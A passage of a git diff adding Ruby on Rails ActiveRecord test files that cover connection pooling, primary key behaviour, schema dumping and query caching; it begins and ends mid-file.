+    ActiveRecord::Base.connection.add_column(:topics, :foo, :string)
+    Topic.reset_column_information
+
+    assert_equal "bar", child.new(foo: :bar).foo
+  ensure
+    ActiveRecord::Base.connection.remove_column(:topics, :foo)
+    Topic.reset_column_information
+  end
+end
diff --git a/activerecord/test/cases/pooled_connections_test.rb b/activerecord/test/cases/pooled_connections_test.rb
new file mode 100644
index 0000000000..fa7f759e51
--- /dev/null
+++ b/activerecord/test/cases/pooled_connections_test.rb
@@ -0,0 +1,83 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/project"
+require "timeout"
+
+class PooledConnectionsTest < ActiveRecord::TestCase
+  self.use_transactional_tests = false
+
+  def setup
+    @per_test_teardown = []
+    @connection = ActiveRecord::Base.remove_connection
+  end
+
+  teardown do
+    ActiveRecord::Base.clear_all_connections!
+    ActiveRecord::Base.establish_connection(@connection)
+    @per_test_teardown.each(&:call)
+  end
+
+  # Will deadlock due to lack of Monitor timeouts in 1.9
+  def checkout_checkin_connections(pool_size, threads)
+    ActiveRecord::Base.establish_connection(@connection.merge(pool: pool_size, checkout_timeout: 0.5))
+    @connection_count = 0
+    @timed_out = 0
+    threads.times do
+      Thread.new do
+        begin
+          conn = ActiveRecord::Base.connection_pool.checkout
+          sleep 0.1
+          ActiveRecord::Base.connection_pool.checkin conn
+          @connection_count += 1
+        rescue ActiveRecord::ConnectionTimeoutError
+          @timed_out += 1
+        end
+      end.join
+    end
+  end
+
+  def checkout_checkin_connections_loop(pool_size, loops)
+    ActiveRecord::Base.establish_connection(@connection.merge(pool: pool_size, checkout_timeout: 0.5))
+    @connection_count = 0
+    @timed_out = 0
+    loops.times do
+      begin
+        conn = ActiveRecord::Base.connection_pool.checkout
+        ActiveRecord::Base.connection_pool.checkin conn
+        @connection_count += 1
+        ActiveRecord::Base.connection.data_sources
+      rescue ActiveRecord::ConnectionTimeoutError
+        @timed_out += 1
+      end
+    end
+  end
+
+  def test_pooled_connection_checkin_one
+    checkout_checkin_connections 1, 2
+    assert_equal 2, @connection_count
+    assert_equal 0, @timed_out
+    assert_equal 1, ActiveRecord::Base.connection_pool.connections.size
+  end
+
+  def test_pooled_connection_checkin_two
+    checkout_checkin_connections_loop 2, 3
+    assert_equal 3, @connection_count
+    assert_equal 0, @timed_out
+    assert_equal 2, ActiveRecord::Base.connection_pool.connections.size
+  end
+
+  def test_pooled_connection_remove
+    ActiveRecord::Base.establish_connection(@connection.merge(pool: 2, checkout_timeout: 0.5))
+    old_connection = ActiveRecord::Base.connection
+    extra_connection = ActiveRecord::Base.connection_pool.checkout
+    ActiveRecord::Base.connection_pool.remove(extra_connection)
+    assert_equal ActiveRecord::Base.connection, old_connection
+  end
+
+  private
+
+    def add_record(name)
+      ActiveRecord::Base.connection_pool.with_connection { Project.create! name: name }
+    end
+end unless in_memory_db?
diff --git a/activerecord/test/cases/primary_keys_test.rb b/activerecord/test/cases/primary_keys_test.rb
new file mode 100644
index 0000000000..bda82c095f
--- /dev/null
+++ b/activerecord/test/cases/primary_keys_test.rb
@@ -0,0 +1,466 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+require "models/topic"
+require "models/reply"
+require "models/subscriber"
+require "models/movie"
+require "models/keyboard"
+require "models/mixed_case_monkey"
+require "models/dashboard"
+require "models/non_primary_key"
+
+class PrimaryKeysTest < ActiveRecord::TestCase
+  fixtures :topics, :subscribers, :movies, :mixed_case_monkeys
+
+  def test_to_key_with_default_primary_key
+    topic = Topic.new
+    assert_nil topic.to_key
+    topic = Topic.find(1)
+    assert_equal [1], topic.to_key
+  end
+
+  def test_to_key_with_customized_primary_key
+    keyboard = Keyboard.new
+    assert_nil keyboard.to_key
+    keyboard.save
+    assert_equal keyboard.to_key, [keyboard.id]
+  end
+
+  def test_read_attribute_with_custom_primary_key
+    keyboard = Keyboard.create!
+    assert_equal keyboard.key_number, keyboard.read_attribute(:id)
+  end
+
+  def test_to_key_with_primary_key_after_destroy
+    topic = Topic.find(1)
+    topic.destroy
+    assert_equal [1], topic.to_key
+  end
+
+  def test_integer_key
+    topic = Topic.find(1)
+    assert_equal(topics(:first).author_name, topic.author_name)
+    topic = Topic.find(2)
+    assert_equal(topics(:second).author_name, topic.author_name)
+
+    topic = Topic.new
+    topic.title = "New Topic"
+    assert_nil topic.id
+    topic.save!
+    id = topic.id
+
+    topicReloaded = Topic.find(id)
+    assert_equal("New Topic", topicReloaded.title)
+  end
+
+  def test_customized_primary_key_auto_assigns_on_save
+    Keyboard.delete_all
+    keyboard = Keyboard.new(name: "HHKB")
+    keyboard.save!
+    assert_equal keyboard.id, Keyboard.find_by_name("HHKB").id
+  end
+
+  def test_customized_primary_key_can_be_get_before_saving
+    keyboard = Keyboard.new
+    assert_nil keyboard.id
+    assert_nil keyboard.key_number
+  end
+
+  def test_customized_string_primary_key_settable_before_save
+    subscriber = Subscriber.new
+    subscriber.id = "webster123"
+    assert_equal "webster123", subscriber.id
+    assert_equal "webster123", subscriber.nick
+  end
+
+  def test_update_with_non_primary_key_id_column
+    subscriber = Subscriber.first
+    subscriber.update(update_count: 1)
+    subscriber.reload
+    assert_equal 1, subscriber.update_count
+  end
+
+  def test_update_columns_with_non_primary_key_id_column
+    subscriber = Subscriber.first
+    subscriber.update_columns(id: 1)
+    assert_not_equal 1, subscriber.nick
+  end
+
+  def test_string_key
+    subscriber = Subscriber.find(subscribers(:first).nick)
+    assert_equal(subscribers(:first).name, subscriber.name)
+    subscriber = Subscriber.find(subscribers(:second).nick)
+    assert_equal(subscribers(:second).name, subscriber.name)
+
+    subscriber = Subscriber.new
+    subscriber.id = "jdoe"
+    assert_equal("jdoe", subscriber.id)
+    subscriber.name = "John Doe"
+    subscriber.save!
+    assert_equal("jdoe", subscriber.id)
+
+    subscriberReloaded = Subscriber.find("jdoe")
+    assert_equal("John Doe", subscriberReloaded.name)
+  end
+
+  def test_id_column_that_is_not_primary_key
+    NonPrimaryKey.create!(id: 100)
+    actual = NonPrimaryKey.find_by(id: 100)
+    assert_match %r{<NonPrimaryKey id: 100}, actual.inspect
+  end
+
+  def test_find_with_more_than_one_string_key
+    assert_equal 2, Subscriber.find(subscribers(:first).nick, subscribers(:second).nick).length
+  end
+
+  def test_primary_key_prefix
+    old_primary_key_prefix_type = ActiveRecord::Base.primary_key_prefix_type
+    ActiveRecord::Base.primary_key_prefix_type = :table_name
+    Topic.reset_primary_key
+    assert_equal "topicid", Topic.primary_key
+
+    ActiveRecord::Base.primary_key_prefix_type = :table_name_with_underscore
+    Topic.reset_primary_key
+    assert_equal "topic_id", Topic.primary_key
+
+    ActiveRecord::Base.primary_key_prefix_type = nil
+    Topic.reset_primary_key
+    assert_equal "id", Topic.primary_key
+  ensure
+    ActiveRecord::Base.primary_key_prefix_type = old_primary_key_prefix_type
+  end
+
+  def test_delete_should_quote_pkey
+    assert_nothing_raised { MixedCaseMonkey.delete(1) }
+  end
+
+  def test_update_counters_should_quote_pkey_and_quote_counter_columns
+    assert_nothing_raised { MixedCaseMonkey.update_counters(1, fleaCount: 99) }
+  end
+
+  def test_find_with_one_id_should_quote_pkey
+    assert_nothing_raised { MixedCaseMonkey.find(1) }
+  end
+
+  def test_find_with_multiple_ids_should_quote_pkey
+    assert_nothing_raised { MixedCaseMonkey.find([1, 2]) }
+  end
+
+  def test_instance_update_should_quote_pkey
+    assert_nothing_raised { MixedCaseMonkey.find(1).save }
+  end
+
+  def test_instance_destroy_should_quote_pkey
+    assert_nothing_raised { MixedCaseMonkey.find(1).destroy }
+  end
+
+  def test_deprecate_supports_primary_key
+    assert_deprecated { ActiveRecord::Base.connection.supports_primary_key? }
+  end
+
+  def test_primary_key_returns_value_if_it_exists
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "developers"
+    end
+
+    assert_equal "id", klass.primary_key
+  end
+
+  def test_primary_key_returns_nil_if_it_does_not_exist
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "developers_projects"
+    end
+
+    assert_nil klass.primary_key
+  end
+
+  def test_quoted_primary_key_after_set_primary_key
+    k = Class.new(ActiveRecord::Base)
+    assert_equal k.connection.quote_column_name("id"), k.quoted_primary_key
+    k.primary_key = "foo"
+    assert_equal k.connection.quote_column_name("foo"), k.quoted_primary_key
+  end
+
+  def test_auto_detect_primary_key_from_schema
+    MixedCaseMonkey.reset_primary_key
+    assert_equal "monkeyID", MixedCaseMonkey.primary_key
+  end
+
+  def test_primary_key_update_with_custom_key_name
+    dashboard = Dashboard.create!(dashboard_id: "1")
+    dashboard.id = "2"
+    dashboard.save!
+
+    dashboard = Dashboard.first
+    assert_equal "2", dashboard.id
+  end
+
+  def test_create_without_primary_key_no_extra_query
+    skip if current_adapter?(:OracleAdapter)
+
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "dashboards"
+    end
+    klass.create! # warmup schema cache
+    assert_queries(3, ignore_none: true) { klass.create! }
+  end
+
+  if current_adapter?(:PostgreSQLAdapter)
+    def test_serial_with_quoted_sequence_name
+      column = MixedCaseMonkey.columns_hash[MixedCaseMonkey.primary_key]
+      assert_equal "nextval('\"mixed_case_monkeys_monkeyID_seq\"'::regclass)", column.default_function
+      assert column.serial?
+    end
+
+    def test_serial_with_unquoted_sequence_name
+      column = Topic.columns_hash[Topic.primary_key]
+      assert_equal "nextval('topics_id_seq'::regclass)", column.default_function
+      assert column.serial?
+    end
+  end
+end
+
+class PrimaryKeyWithNoConnectionTest < ActiveRecord::TestCase
+  self.use_transactional_tests = false
+
+  unless in_memory_db?
+    def test_set_primary_key_with_no_connection
+      connection = ActiveRecord::Base.remove_connection
+
+      model = Class.new(ActiveRecord::Base)
+      model.primary_key = "foo"
+
+      assert_equal "foo", model.primary_key
+
+      ActiveRecord::Base.establish_connection(connection)
+
+      assert_equal "foo", model.primary_key
+    end
+  end
+end
+
+class PrimaryKeyWithAutoIncrementTest < ActiveRecord::TestCase
+  self.use_transactional_tests = false
+
+  class AutoIncrement < ActiveRecord::Base
+  end
+
+  def setup
+    @connection = ActiveRecord::Base.connection
+  end
+
+  def teardown
+    @connection.drop_table(:auto_increments, if_exists: true)
+  end
+
+  def test_primary_key_with_integer
+    @connection.create_table(:auto_increments, id: :integer, force: true)
+    assert_auto_incremented
+  end
+
+  def test_primary_key_with_bigint
+    @connection.create_table(:auto_increments, id: :bigint, force: true)
+    assert_auto_incremented
+  end
+
+  private
+    def assert_auto_incremented
+      record1 = AutoIncrement.create!
+      assert_not_nil record1.id
+
+      record1.destroy
+
+      record2 = AutoIncrement.create!
+      assert_not_nil record2.id
+      assert_operator record2.id, :>, record1.id
+    end
+end
+
+class PrimaryKeyAnyTypeTest < ActiveRecord::TestCase
+  include SchemaDumpingHelper
+
+  self.use_transactional_tests = false
+
+  class Barcode < ActiveRecord::Base
+  end
+
+  setup do
+    @connection = ActiveRecord::Base.connection
+    @connection.create_table(:barcodes, primary_key: "code", id: :string, limit: 42, force: true)
+  end
+
+  teardown do
+    @connection.drop_table(:barcodes, if_exists: true)
+  end
+
+  def test_any_type_primary_key
+    assert_equal "code", Barcode.primary_key
+
+    column = Barcode.column_for_attribute(Barcode.primary_key)
+    assert_not column.null
+    assert_equal :string, column.type
+    assert_equal 42, column.limit
+  end
+
+  test "schema dump primary key includes type and options" do
+    schema = dump_table_schema "barcodes"
+    assert_match %r{create_table "barcodes", primary_key: "code", id: :string, limit: 42}, schema
+  end
+
+  if current_adapter?(:Mysql2Adapter) && subsecond_precision_supported?
+    test "schema typed primary key column" do
+      @connection.create_table(:scheduled_logs, id: :timestamp, precision: 6, force: true)
+      schema = dump_table_schema("scheduled_logs")
+      assert_match %r/create_table "scheduled_logs", id: :timestamp, precision: 6/, schema
+    end
+  end
+end
+
+class CompositePrimaryKeyTest < ActiveRecord::TestCase
+  include SchemaDumpingHelper
+
+  self.use_transactional_tests = false
+
+  def setup
+    @connection = ActiveRecord::Base.connection
+    @connection.schema_cache.clear!
+    @connection.create_table(:barcodes, primary_key: ["region", "code"], force: true) do |t|
+      t.string :region
+      t.integer :code
+    end
+    @connection.create_table(:barcodes_reverse, primary_key: ["code", "region"], force: true) do |t|
+      t.string :region
+      t.integer :code
+    end
+  end
+
+  def teardown
+    @connection.drop_table(:barcodes, if_exists: true)
+  end
+
+  def test_composite_primary_key
+    assert_equal ["region", "code"], @connection.primary_keys("barcodes")
+  end
+
+  def test_composite_primary_key_out_of_order
+    skip if current_adapter?(:SQLite3Adapter)
+    assert_equal ["code", "region"], @connection.primary_keys("barcodes_reverse")
+  end
+
+  def test_primary_key_issues_warning
+    model = Class.new(ActiveRecord::Base) do
+      def self.table_name
+        "barcodes"
+      end
+    end
+    warning = capture(:stderr) do
+      assert_nil model.primary_key
+    end
+    assert_match(/WARNING: Active Record does not support composite primary key\./, warning)
+  end
+
+  def test_dumping_composite_primary_key
+    schema = dump_table_schema "barcodes"
+    assert_match %r{create_table "barcodes", primary_key: \["region", "code"\]}, schema
+  end
+
+  def test_dumping_composite_primary_key_out_of_order
+    skip if current_adapter?(:SQLite3Adapter)
+    schema = dump_table_schema "barcodes_reverse"
+    assert_match %r{create_table "barcodes_reverse", primary_key: \["code", "region"\]}, schema
+  end
+end
+
+class PrimaryKeyIntegerNilDefaultTest < ActiveRecord::TestCase
+  include SchemaDumpingHelper
+
+  self.use_transactional_tests = false
+
+  def setup
+    @connection = ActiveRecord::Base.connection
+  end
+
+  def teardown
+    @connection.drop_table :int_defaults, if_exists: true
+  end
+
+  def test_schema_dump_primary_key_integer_with_default_nil
+    skip if current_adapter?(:SQLite3Adapter)
+    @connection.create_table(:int_defaults, id: :integer, default: nil, force: true)
+    schema = dump_table_schema "int_defaults"
+    assert_match %r{create_table "int_defaults", id: :integer, default: nil}, schema
+  end
+
+  def test_schema_dump_primary_key_bigint_with_default_nil
+    @connection.create_table(:int_defaults, id: :bigint, default: nil, force: true)
+    schema = dump_table_schema "int_defaults"
+    assert_match %r{create_table "int_defaults", id: :bigint, default: nil}, schema
+  end
+end
+
+if current_adapter?(:PostgreSQLAdapter, :Mysql2Adapter)
+  class PrimaryKeyIntegerTest < ActiveRecord::TestCase
+    include SchemaDumpingHelper
+
+    self.use_transactional_tests = false
+
+    class Widget < ActiveRecord::Base
+    end
+
+    setup do
+      @connection = ActiveRecord::Base.connection
+      @pk_type = current_adapter?(:PostgreSQLAdapter) ? :serial : :integer
+    end
+
+    teardown do
+      @connection.drop_table :widgets, if_exists: true
+    end
+
+    test "primary key column type with serial/integer" do
+      @connection.create_table(:widgets, id: @pk_type, force: true)
+      column = @connection.columns(:widgets).find { |c| c.name == "id" }
+      assert_equal :integer, column.type
+      assert_not column.bigint?
+    end
+
+    test "primary key with serial/integer are automatically numbered" do
+      @connection.create_table(:widgets, id: @pk_type, force: true)
+      widget = Widget.create!
+      assert_not_nil widget.id
+    end
+
+    test "schema dump primary key with serial/integer" do
+      @connection.create_table(:widgets, id: @pk_type, force: true)
+      schema = dump_table_schema "widgets"
+      assert_match %r{create_table "widgets", id: :#{@pk_type}, force: :cascade}, schema
+    end
+
+    if current_adapter?(:Mysql2Adapter)
+      test "primary key column type with options" do
+        @connection.create_table(:widgets, id: :primary_key, limit: 4, unsigned: true, force: true)
+        column = @connection.columns(:widgets).find { |c| c.name == "id" }
+        assert column.auto_increment?
+        assert_equal :integer, column.type
+        assert_not column.bigint?
+        assert column.unsigned?
+
+        schema = dump_table_schema "widgets"
+        assert_match %r{create_table "widgets", id: :integer, unsigned: true, force: :cascade}, schema
+      end
+
+      test "bigint primary key with unsigned" do
+        @connection.create_table(:widgets, id: :bigint, unsigned: true, force: true)
+        column = @connection.columns(:widgets).find { |c| c.name == "id" }
+        assert column.auto_increment?
+        assert_equal :integer, column.type
+        assert column.bigint?
+        assert column.unsigned?
+
+        schema = dump_table_schema "widgets"
+        assert_match %r{create_table "widgets", id: :bigint, unsigned: true, force: :cascade}, schema
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/query_cache_test.rb b/activerecord/test/cases/query_cache_test.rb
new file mode 100644
index 0000000000..f843368a09
--- /dev/null
+++ b/activerecord/test/cases/query_cache_test.rb
@@ -0,0 +1,577 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/topic"
+require "models/task"
+require "models/category"
+require "models/post"
+require "rack"
+
+class QueryCacheTest < ActiveRecord::TestCase
+  self.use_transactional_tests = false
+
+  fixtures :tasks, :topics, :categories, :posts, :categories_posts
+
+  class ShouldNotHaveExceptionsLogger < ActiveRecord::LogSubscriber
+    attr_reader :logger
+
+    def initialize
+      super
+      @logger = ::Logger.new File::NULL
+      @exception = false
+    end
+
+    def exception?
+      @exception
+    end
+
+    def sql(event)
+      super
+    rescue
+      @exception = true
+    end
+  end
+
+  def teardown
+    Task.connection.clear_query_cache
+    ActiveRecord::Base.connection.disable_query_cache!
+    super
+  end
+
+  def test_exceptional_middleware_clears_and_disables_cache_on_error
+    assert_cache :off
+
+    mw = middleware { |env|
+      Task.find 1
+      Task.find 1
+      query_cache = ActiveRecord::Base.connection.query_cache
+      assert_equal 1, query_cache.length, query_cache.keys
+      raise "lol borked"
+    }
+    assert_raises(RuntimeError) { mw.call({}) }
+
+    assert_cache :off
+  end
+
+  private def with_temporary_connection_pool
+    old_pool = ActiveRecord::Base.connection_handler.retrieve_connection_pool(ActiveRecord::Base.connection_specification_name)
+    new_pool = ActiveRecord::ConnectionAdapters::ConnectionPool.new ActiveRecord::Base.connection_pool.spec
+    ActiveRecord::Base.connection_handler.send(:owner_to_pool)["primary"] = new_pool
+
+    yield
+  ensure
+    ActiveRecord::Base.connection_handler.send(:owner_to_pool)["primary"] = old_pool
+  end
+
+  def test_query_cache_across_threads
+    with_temporary_connection_pool do
+      begin
+        if in_memory_db?
+          # Separate connections to an in-memory database create an entirely new database,
+          # with an empty schema etc, so we just stub out this schema on the fly.
+          ActiveRecord::Base.connection_pool.with_connection do |connection|
+            connection.create_table :tasks do |t|
+              t.datetime :starting
+              t.datetime :ending
+            end
+          end
+          ActiveRecord::FixtureSet.create_fixtures(self.class.fixture_path, ["tasks"], {}, ActiveRecord::Base)
+        end
+
+        ActiveRecord::Base.connection_pool.connections.each do |conn|
+          assert_cache :off, conn
+        end
+
+        assert !ActiveRecord::Base.connection.nil?
+        assert_cache :off
+
+        middleware {
+          assert_cache :clean
+
+          Task.find 1
+          assert_cache :dirty
+
+          thread_1_connection = ActiveRecord::Base.connection
+          ActiveRecord::Base.clear_active_connections!
+          assert_cache :off, thread_1_connection
+
+          started = Concurrent::Event.new
+          checked = Concurrent::Event.new
+
+          thread_2_connection = nil
+          thread = Thread.new {
+            thread_2_connection = ActiveRecord::Base.connection
+
+            assert_equal thread_2_connection, thread_1_connection
+            assert_cache :off
+
+            middleware {
+              assert_cache :clean
+
+              Task.find 1
+              assert_cache :dirty
+
+              started.set
+              checked.wait
+
+              ActiveRecord::Base.clear_active_connections!
+            }.call({})
+          }
+
+          started.wait
+
+          thread_1_connection = ActiveRecord::Base.connection
+          assert_not_equal thread_1_connection, thread_2_connection
+          assert_cache :dirty, thread_2_connection
+          checked.set
+          thread.join
+
+          assert_cache :off, thread_2_connection
+        }.call({})
+
+        ActiveRecord::Base.connection_pool.connections.each do |conn|
+          assert_cache :off, conn
+        end
+      ensure
+        ActiveRecord::Base.clear_all_connections!
+      end
+    end
+  end
+
+  def test_middleware_delegates
+    called = false
+    mw = middleware { |env|
+      called = true
+      [200, {}, nil]
+    }
+    mw.call({})
+    assert called, "middleware should delegate"
+  end
+
+  def test_middleware_caches
+    mw = middleware { |env|
+      Task.find 1
+      Task.find 1
+      query_cache = ActiveRecord::Base.connection.query_cache
+      assert_equal 1, query_cache.length, query_cache.keys
+      [200, {}, nil]
+    }
+    mw.call({})
+  end
+
+  def test_cache_enabled_during_call
+    assert_cache :off
+
+    mw = middleware { |env|
+      assert_cache :clean
+      [200, {}, nil]
+    }
+    mw.call({})
+  end
+
+  def test_cache_passing_a_relation
+    post = Post.first
+    Post.cache do
+      query = post.categories.select(:post_id)
+      assert Post.connection.select_all(query).is_a?(ActiveRecord::Result)
+    end
+  end
+
+  def test_find_queries
+    assert_queries(2) { Task.find(1); Task.find(1) }
+  end
+
+  def test_find_queries_with_cache
+    Task.cache do
+      assert_queries(1) { Task.find(1); Task.find(1) }
+    end
+  end
+
+  def test_find_queries_with_cache_multi_record
+    Task.cache do
+      assert_queries(2) { Task.find(1); Task.find(1); Task.find(2) }
+    end
+  end
+
+  def test_find_queries_with_multi_cache_blocks
+    Task.cache do
+      Task.cache do
+        assert_queries(2) { Task.find(1); Task.find(2) }
+      end
+      assert_queries(0) { Task.find(1); Task.find(1); Task.find(2) }
+    end
+  end
+
+  def test_count_queries_with_cache
+    Task.cache do
+      assert_queries(1) { Task.count; Task.count }
+    end
+  end
+
+  def test_exists_queries_with_cache
+    Post.cache do
+      assert_queries(1) { Post.exists?; Post.exists? }
+    end
+  end
+
+  def test_select_all_with_cache
+    Post.cache do
+      assert_queries(1) do
+        2.times { Post.connection.select_all(Post.all) }
+      end
+    end
+  end
+
+  def test_select_one_with_cache
+    Post.cache do
+      assert_queries(1) do
+        2.times { Post.connection.select_one(Post.all) }
+      end
+    end
+  end
+
+  def test_select_value_with_cache
+    Post.cache do
+      assert_queries(1) do
+        2.times { Post.connection.select_value(Post.all) }
+      end
+    end
+  end
+
+  def test_select_values_with_cache
+    Post.cache do
+      assert_queries(1) do
+        2.times { Post.connection.select_values(Post.all) }
+      end
+    end
+  end
+
+  def test_select_rows_with_cache
+    Post.cache do
+      assert_queries(1) do
+        2.times { Post.connection.select_rows(Post.all) }
+      end
+    end
+  end
+
+  def test_query_cache_dups_results_correctly
+    Task.cache do
+      now  = Time.now.utc
+      task = Task.find 1
+      assert_not_equal now, task.starting
+      task.starting = now
+      task.reload
+      assert_not_equal now, task.starting
+    end
+  end
+
+  def test_cache_does_not_raise_exceptions
+    logger = ShouldNotHaveExceptionsLogger.new
+    subscriber = ActiveSupport::Notifications.subscribe "sql.active_record", logger
+
+    ActiveRecord::Base.cache do
+      assert_queries(1) { Task.find(1); Task.find(1) }
+    end
+
+    assert_not_predicate logger, :exception?
+  ensure
+    ActiveSupport::Notifications.unsubscribe subscriber
+  end
+
+  def test_query_cache_does_not_allow_sql_key_mutation
+    subscriber = ActiveSupport::Notifications.subscribe("sql.active_record") do |_, _, _, _, payload|
+      payload[:sql].downcase!
+    end
+
+    assert_raises RuntimeError do
+      ActiveRecord::Base.cache do
+        assert_queries(1) { Task.find(1); Task.find(1) }
+      end
+    end
+  ensure
+    ActiveSupport::Notifications.unsubscribe subscriber
+  end
+
+  def test_cache_is_flat
+    Task.cache do
+      assert_queries(1) { Topic.find(1); Topic.find(1); }
+    end
+
+    ActiveRecord::Base.cache do
+      assert_queries(1) { Task.find(1); Task.find(1) }
+    end
+  end
+
+  def test_cache_does_not_wrap_string_results_in_arrays
+    Task.cache do
+      # Oracle adapter returns count() as Integer or Float
+      if current_adapter?(:OracleAdapter)
+        assert_kind_of Numeric, Task.connection.select_value("SELECT count(*) AS count_all FROM tasks")
+      elsif current_adapter?(:SQLite3Adapter, :Mysql2Adapter, :PostgreSQLAdapter)
+        # Future versions of the sqlite3 adapter will return numeric
+        assert_instance_of 0.class, Task.connection.select_value("SELECT count(*) AS count_all FROM tasks")
+      else
+        assert_instance_of String, Task.connection.select_value("SELECT count(*) AS count_all FROM tasks")
+      end
+    end
+  end
+
+  def test_cache_is_ignored_for_locked_relations
+    task = Task.find 1
+
+    Task.cache do
+      assert_queries(2) { task.lock!; task.lock! }
+    end
+  end
+
+  def test_cache_is_available_when_using_a_not_connected_connection
+    skip "In-Memory DB can't test for using a not connected connection" if in_memory_db?
+    with_temporary_connection_pool do
+      spec_name = Task.connection_specification_name
+      conf = ActiveRecord::Base.configurations["arunit"].merge("name" => "test2")
+      ActiveRecord::Base.connection_handler.establish_connection(conf)
+      Task.connection_specification_name = "test2"
+      refute Task.connected?
+
+      Task.cache do
+        begin
+          assert_queries(1) { Task.find(1); Task.find(1) }
+        ensure
+          ActiveRecord::Base.connection_handler.remove_connection(Task.connection_specification_name)
+          Task.connection_specification_name = spec_name
+        end
+      end
+    end
+  end
+
+  def test_query_cache_executes_new_queries_within_block
+    ActiveRecord::Base.connection.enable_query_cache!
+
+    # Warm up the cache by running the query
+    assert_queries(1) do
+      assert_equal 0, Post.where(title: "test").to_a.count
+    end
+
+    # Check that if the same query is run again, no queries are executed
+    assert_queries(0) do
+      assert_equal 0, Post.where(title: "test").to_a.count
+    end
+
+    ActiveRecord::Base.connection.uncached do
+      # Check that new query is executed, avoiding the cache
+      assert_queries(1) do
+        assert_equal 0, Post.where(title: "test").to_a.count
+      end
+    end
+  end
+
+  def test_query_cache_doesnt_leak_cached_results_of_rolled_back_queries
+    ActiveRecord::Base.connection.enable_query_cache!
+    post = Post.first
+
+    Post.transaction do
+      post.update_attributes(title: "rollback")
+      assert_equal 1, Post.where(title: "rollback").to_a.count
+      raise ActiveRecord::Rollback
+    end
+
+    assert_equal 0, Post.where(title: "rollback").to_a.count
+
+    ActiveRecord::Base.connection.uncached do
+      assert_equal 0, Post.where(title: "rollback").to_a.count
+    end
+
+    begin
+      Post.transaction do
+        post.update_attributes(title: "rollback")
+        assert_equal 1, Post.where(title: "rollback").to_a.count
+        raise "broken"
+      end
+    rescue Exception
+    end
+
+    assert_equal 0, Post.where(title: "rollback").to_a.count
+
+    ActiveRecord::Base.connection.uncached do
+      assert_equal 0, Post.where(title: "rollback").to_a.count
+    end
+  end
+
+  def test_query_cached_even_when_types_are_reset
+    Task.cache do
+      # Warm the cache
+      Task.find(1)
+
+      # Preload the type cache again (so we don't have those queries issued during our assertions)
+      Task.connection.send(:reload_type_map)
+
+      # Clear places where type information is cached
+      Task.reset_column_information
+      Task.initialize_find_by_cache
+
+      assert_queries(0) do
+        Task.find(1)
+      end
+    end
+  end
+
+  def test_query_cache_does_not_establish_connection_if_unconnected
+    with_temporary_connection_pool do
+      ActiveRecord::Base.clear_active_connections!
+      refute ActiveRecord::Base.connection_handler.active_connections? # sanity check
+
+      middleware {
+        refute ActiveRecord::Base.connection_handler.active_connections?, "QueryCache forced ActiveRecord::Base to establish a connection in setup"
+      }.call({})
+
+      refute ActiveRecord::Base.connection_handler.active_connections?, "QueryCache forced ActiveRecord::Base to establish a connection in cleanup"
+    end
+  end
+
+  def test_query_cache_is_enabled_on_connections_established_after_middleware_runs
+    with_temporary_connection_pool do
+      ActiveRecord::Base.clear_active_connections!
+      refute ActiveRecord::Base.connection_handler.active_connections? # sanity check
+
+      middleware {
+        assert ActiveRecord::Base.connection.query_cache_enabled, "QueryCache did not get lazily enabled"
+      }.call({})
+    end
+  end
+
+  def test_query_caching_is_local_to_the_current_thread
+    with_temporary_connection_pool do
+      ActiveRecord::Base.clear_active_connections!
+
+      middleware {
+        assert ActiveRecord::Base.connection_pool.query_cache_enabled
+        assert ActiveRecord::Base.connection.query_cache_enabled
+
+        Thread.new {
+          refute ActiveRecord::Base.connection_pool.query_cache_enabled
+          refute ActiveRecord::Base.connection.query_cache_enabled
+        }.join
+      }.call({})
+
+    end
+  end
+
+  private
+    def middleware(&app)
+      executor = Class.new(ActiveSupport::Executor)
+      ActiveRecord::QueryCache.install_executor_hooks executor
+      lambda { |env| executor.wrap { app.call(env) } }
+    end
+
+    def assert_cache(state, connection = ActiveRecord::Base.connection)
+      case state
+      when :off
+        assert !connection.query_cache_enabled, "cache should be off"
+        assert connection.query_cache.empty?, "cache should be empty"
+      when :clean
+        assert connection.query_cache_enabled, "cache should be on"
+        assert connection.query_cache.empty?, "cache should be empty"
+      when :dirty
+        assert connection.query_cache_enabled, "cache should be on"
+        assert !connection.query_cache.empty?, "cache should be dirty"
+      else
+        raise "unknown state"
+      end
+    end
+end
+
+class QueryCacheExpiryTest < ActiveRecord::TestCase
+  fixtures :tasks, :posts, :categories, :categories_posts
+
+  def teardown
+    Task.connection.clear_query_cache
+  end
+
+  def test_cache_gets_cleared_after_migration
+    # warm the cache
+    Post.find(1)
+
+    # change the column definition
+    Post.connection.change_column :posts, :title, :string, limit: 80
+    assert_nothing_raised { Post.find(1) }
+
+    # restore the old definition
+    Post.connection.change_column :posts, :title, :string
+  end
+
+  def test_find
+    assert_called(Task.connection, :clear_query_cache) do
+      assert !Task.connection.query_cache_enabled
+      Task.cache do
+        assert Task.connection.query_cache_enabled
+        Task.find(1)
+
+        Task.uncached do
+          assert !Task.connection.query_cache_enabled
+          Task.find(1)
+        end
+
+        assert Task.connection.query_cache_enabled
+      end
+      assert !Task.connection.query_cache_enabled
+    end
+  end
+
+  def test_update
+    assert_called(Task.connection, :clear_query_cache, times: 2) do
+      Task.cache do
+        task = Task.find(1)
+        task.starting = Time.now.utc
+        task.save!
+      end
+    end
+  end
+
+  def test_destroy
+    assert_called(Task.connection, :clear_query_cache, times: 2) do
+      Task.cache do
+        Task.find(1).destroy
+      end
+    end
+  end
+
+  def test_insert
+    assert_called(ActiveRecord::Base.connection, :clear_query_cache, times: 2) do
+      Task.cache do
+        Task.create!
+      end
+    end
+  end
+
+  def test_cache_is_expired_by_habtm_update
+    assert_called(ActiveRecord::Base.connection, :clear_query_cache, times: 2) do
+      ActiveRecord::Base.cache do
+        c = Category.first
+        p = Post.first
+        p.categories << c
+      end
+    end
+  end
+
+  def test_cache_is_expired_by_habtm_delete
+    assert_called(ActiveRecord::Base.connection, :clear_query_cache, times: 2) do
+      ActiveRecord::Base.cache do
+        p = Post.find(1)
+        assert p.categories.any?
+        p.categories.delete_all
+      end
+    end
+  end
+
+  test "threads use the same connection" do
+    @connection_1 = ActiveRecord::Base.connection.object_id
+
+    thread_a = Thread.new do
